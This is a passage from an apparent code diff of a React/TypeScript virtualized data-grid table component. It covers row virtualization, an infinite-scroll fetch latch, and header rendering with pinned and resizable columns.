(index: number) => {
|
|
||||||
const row = centerRows[index]
|
|
||||||
|
|
||||||
return row
|
|
||||||
? (customEstimateSize?.(index, row) ?? estimateSize)
|
|
||||||
: estimateSize
|
|
||||||
},
|
|
||||||
[centerRows, customEstimateSize, estimateSize]
|
|
||||||
)
|
|
||||||
|
|
||||||
const virtualizer = useVirtualizer({
|
|
||||||
count: centerRows.length,
|
|
||||||
getScrollElement: resolveScrollElement,
|
|
||||||
getItemKey: resolveItemKey,
|
|
||||||
estimateSize: resolveEstimateSize,
|
|
||||||
overscan: customOverscan ?? overscan,
|
|
||||||
measureElement: customMeasureElement,
|
|
||||||
...virtualizerOptionsRest,
|
|
||||||
}) as DataGridTableVirtualizerInstance
|
|
||||||
|
|
||||||
const virtualItems = isVirtualizationEnabled
|
|
||||||
? virtualizer.getVirtualItems()
|
|
||||||
: []
|
|
||||||
const totalSize = isVirtualizationEnabled ? virtualizer.getTotalSize() : 0
|
|
||||||
const measureRowRef =
|
|
||||||
isVirtualizationEnabled && customMeasureElement
|
|
||||||
? virtualizer.measureElement
|
|
||||||
: undefined
|
|
||||||
const resolvedFetchMoreOffset = Math.max(0, fetchMoreOffset)
|
|
||||||
// Latch onFetchMore per row count: virtualItems gets a new identity every
|
|
||||||
// scroll frame, so without it the effect fires duplicate page requests
|
|
||||||
// before the consumer flips isFetchingMore, and loops at end-of-data when
|
|
||||||
// hasMore is never set.
|
|
||||||
const fetchMoreFiredAtCountRef = useRef<number | null>(null)
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
if (
|
|
||||||
!isVirtualizationEnabled ||
|
|
||||||
!isInfiniteMode ||
|
|
||||||
hasMore === false ||
|
|
||||||
isFetchingMore
|
|
||||||
) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
const lastItem = virtualItems[virtualItems.length - 1]
|
|
||||||
if (!lastItem) return
|
|
||||||
|
|
||||||
if (fetchMoreFiredAtCountRef.current === centerRows.length) return
|
|
||||||
|
|
||||||
if (lastItem.index >= centerRows.length - 1 - resolvedFetchMoreOffset) {
|
|
||||||
fetchMoreFiredAtCountRef.current = centerRows.length
|
|
||||||
onFetchMore?.()
|
|
||||||
}
|
|
||||||
}, [
|
|
||||||
centerRows.length,
|
|
||||||
hasMore,
|
|
||||||
isFetchingMore,
|
|
||||||
isInfiniteMode,
|
|
||||||
isVirtualizationEnabled,
|
|
||||||
onFetchMore,
|
|
||||||
resolvedFetchMoreOffset,
|
|
||||||
virtualItems,
|
|
||||||
])
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableViewport
|
|
||||||
viewportRef={handleViewportRef}
|
|
||||||
className={!usesExternalScrollArea ? "block" : undefined}
|
|
||||||
style={
|
|
||||||
usesExternalScrollArea
|
|
||||||
? undefined
|
|
||||||
: {
|
|
||||||
height,
|
|
||||||
overflow: "auto",
|
|
||||||
position: "relative",
|
|
||||||
// Standalone mode: this node IS the scroll container, so it
|
|
||||||
// must stay at its parent's width (not the resizable table
|
|
||||||
// width) or horizontal scrolling becomes impossible.
|
|
||||||
width: "auto",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<DataGridTableBase>
|
|
||||||
{renderHeader && (
|
|
||||||
<DataGridTableHead>
|
|
||||||
{mergedHeaderGroups.map((headerGroup) => (
|
|
||||||
<DataGridTableHeadRow key={headerGroup.id} rowId={headerGroup.id}>
|
|
||||||
{headerGroup.headers
|
|
||||||
.filter((header) => header.column.getIsPinned() !== "right")
|
|
||||||
.map((header) => {
|
|
||||||
const { column } = header
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
|
||||||
{header.isPlaceholder
|
|
||||||
? null
|
|
||||||
: flexRender(
|
|
||||||
header.column.columnDef.header,
|
|
||||||
header.getContext()
|
|
||||||
)}
|
|
||||||
{props.tableLayout?.columnsResizable &&
|
|
||||||
column.getCanResize() && (
|
|
||||||
<DataGridTableHeadRowCellResize header={header} />
|
|
||||||
)}
|
|
||||||
</DataGridTableHeadRowCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
{props.tableLayout?.columnsResizable &&
|
|
||||||
hasRightPinnedColumns ? (
|
|
||||||
<DataGridTableFillHeadCell />
|
|
||||||
) : null}
|
|
||||||
{headerGroup.headers
|
|
||||||
.filter((header) => header.column.getIsPinned() === "right")
|
|
||||||
.map((header) => {
|
|
||||||
const { column } = header
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
|
||||||
{header.isPlaceholder
|
|
||||||
? null
|
|
||||||
: flexRender(
|
|
||||||
header.column.columnDef.header,
|
|
||||||
header.getContext()
|
|
||||||
)}
|
|
||||||
{props.tableLayout?.columnsResizable &&
|
|
||||||
column.getCanResize() && (
|
|
||||||
<DataGridTableHeadRowCellResize header={header} />
|
|
||||||
)}
|
|
||||||
</DataGridTableHeadRowCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
{props.tableLayout?.columnsResizable &&
|
|
||||||
!hasRightPinnedColumns ? (
|
|
||||||
<DataGridTableFillHeadCell />
|
|
||||||
) : null}
|
|
||||||
</DataGridTableHeadRow>
|
|
||||||
))}
|
|
||||||
</DataGridTableHead>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{renderHeader &&
|
|
||||||
(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
|
||||||
<DataGridTableRowSpacer />
|
|
||||||
)}
|
|
||||||
|
|
||||||
<DataGridTableBody>
|
|
||||||
<MemoizedVirtualBody
|
|
||||||
table={table}
|
|
||||||
topRows={topRows}
|
|
||||||
centerRows={centerRows}
|
|
||||||
bottomRows={bottomRows}
|
|
||||||
virtualItems={virtualItems}
|
|
||||||
totalSize={totalSize}
|
|
||||||
isVirtualizationEnabled={isVirtualizationEnabled}
|
|
||||||
isInfiniteMode={isInfiniteMode}
|
|
||||||
isFetchingMore={isFetchingMore}
|
|
||||||
hasMore={hasMore}
|
|
||||||
loadingMoreMessage={loadingMoreMessage}
|
|
||||||
allRowsLoadedMessage={allRowsLoadedMessage}
|
|
||||||
measureRowRef={measureRowRef}
|
|
||||||
/>
|
|
||||||
</DataGridTableBody>
|
|
||||||
|
|
||||||
{footerContent && (
|
|
||||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
|
||||||
)}
|
|
||||||
</DataGridTableBase>
|
|
||||||
</DataGridTableViewport>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
export { DataGridTableVirtual }
|
|
||||||
export type {
|
|
||||||
DataGridTableVirtualProps,
|
|
||||||
DataGridTableVirtualScrollElements,
|
|
||||||
DataGridTableVirtualizerOptions,
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user